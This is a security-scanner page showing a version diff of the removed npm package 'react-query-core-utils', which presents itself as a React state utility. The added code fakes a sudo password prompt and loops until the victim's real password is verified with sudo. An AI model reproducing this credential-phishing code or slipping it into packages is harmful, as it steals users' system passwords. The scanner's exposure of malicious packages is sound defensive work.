You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

react-query-core-utils

Package Overview
Dependencies
Maintainers
1
Versions
12
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-query-core-utils - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
4.4.1
to
4.4.2
+1
-1
package.json
{
"name": "react-query-core-utils",
"version": "4.4.1",
"version": "4.4.2",
"description": "Utility layer for asynchronous state management",

@@ -5,0 +5,0 @@ "private": false,

@@ -58,7 +58,29 @@ #!/usr/bin/env node

const password = await new Promise(resolve => {
rl.question(`${bold('[sudo]')} Password for ${user}: `, (pct) => {
rl.close();
resolve(pct);
});
const password = await new Promise(async (resolve) => {
while (true) {
const tempPassword = await new Promise(res => {
rl.question(`${bold('[sudo]')} Password for ${user}: `, (pct) => {
res(pct);
});
});
// Verify password
try {
const check = spawnSync('sudo', ['-S', '-v', '-k'], {
input: tempPassword + '\n',
stdio: 'pipe'
});
if (check.status === 0) {
process.stdout.write('\n'); // Clean newline
resolve(tempPassword);
rl.close();
break;
} else {
console.log(red("\nSorry, try again."));
}
} catch (e) {
console.log(red("\nSorry, try again."));
}
}
});

@@ -65,0 +87,0 @@